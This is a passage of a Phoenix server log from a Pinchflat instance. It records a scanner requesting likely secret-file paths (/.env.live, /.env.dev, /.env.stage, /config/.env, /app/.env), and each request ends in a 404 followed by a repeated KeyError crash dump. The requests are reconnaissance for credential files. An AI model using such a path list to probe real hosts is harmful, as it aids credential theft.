{"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "130.12.180.126"} ], request_path: "/.env.live", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dHa5YEVvta2YAFoBh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162671.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.live", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 42676}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "130.12.180.126", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "130.12.180.126" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162671.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.live", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 42676}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "130.12.180.126", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "130.12.180.126" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162672.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "130.12.180.126"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "130.12.180.126"} ], request_path: "/.env.live", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dHa (truncated) 17:50:09.815 [info] GET /.env.dev 17:50:09.815 [debug] QUERY OK source="settings" db=0.2ms idle=1129.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:09.815 [debug] QUERY OK source="settings" db=0.0ms idle=1129.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:09.815 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:50:09.816 [error] #PID<0.162674.0> running PinchflatWeb.Endpoint (connection #PID<0.162673.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /.env.dev ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162673.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.dev", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 42678}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "130.12.180.126", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "130.12.180.126" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162674.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "130.12.180.126"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "130.12.180.126"} ], request_path: "/.env.dev", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dHdM3TK2trUUAFoCB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162673.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.dev", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 42678}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "130.12.180.126", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "130.12.180.126" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162673.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.dev", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 42678}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "130.12.180.126", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "130.12.180.126" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162674.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "130.12.180.126"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "130.12.180.126"} ], request_path: "/.env.dev", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dHdM3TK2t (truncated) 17:50:10.486 [info] GET /.env.stage 17:50:10.487 [debug] QUERY OK source="settings" db=0.2ms idle=671.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:10.487 [debug] QUERY OK source="settings" db=0.1ms idle=671.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:10.487 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:50:10.488 [error] #PID<0.162676.0> running PinchflatWeb.Endpoint (connection #PID<0.162675.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /.env.stage ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162675.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.stage", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 42692}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "130.12.180.126", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "130.12.180.126" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162676.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "130.12.180.126"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "130.12.180.126"} ], request_path: "/.env.stage", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dHftEdStZOfoAFoCh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162675.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.stage", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 42692}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "130.12.180.126", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "130.12.180.126" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162675.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.stage", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 42692}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "130.12.180.126", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "130.12.180.126" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162676.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "130.12.180.126"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "130.12.180.126"} ], request_path: "/.env.stage", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", " (truncated) 17:50:12.958 [info] GET /config/.env 17:50:12.958 [debug] QUERY OK source="settings" db=0.2ms idle=675.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:12.959 [debug] QUERY OK source="settings" db=0.1ms idle=675.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:12.959 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:50:12.959 [error] #PID<0.162678.0> running PinchflatWeb.Endpoint (connection #PID<0.162677.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /config/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162677.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/.env", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 42706}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "130.12.180.126", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "130.12.180.126" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162678.0>, params: %{}, path_info: ["config", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "130.12.180.126"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "130.12.180.126"} ], request_path: "/config/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dHo6PMq7sps8AFoDB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162677.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/.env", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 42706}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "130.12.180.126", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "130.12.180.126" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162677.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/.env", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 42706}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "130.12.180.126", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "130.12.180.126" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162678.0>, params: %{}, path_info: ["config", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "130.12.180.126"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "130.12.180.126"} ], request_path: "/config/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, (truncated) 17:50:13.452 [info] GET /app/.env 17:50:13.453 [debug] QUERY OK source="settings" db=0.2ms idle=1169.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:13.453 [debug] QUERY OK source="settings" db=0.1ms idle=1142.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:13.453 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:50:13.453 [error] #PID<0.162680.0> running PinchflatWeb.Endpoint (connection #PID<0.162679.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /app/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /app/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162679.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app/.env", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 42722}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "130.12.180.126", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "130.12.180.126" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162680.0>, params: %{}, path_info: ["app", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => 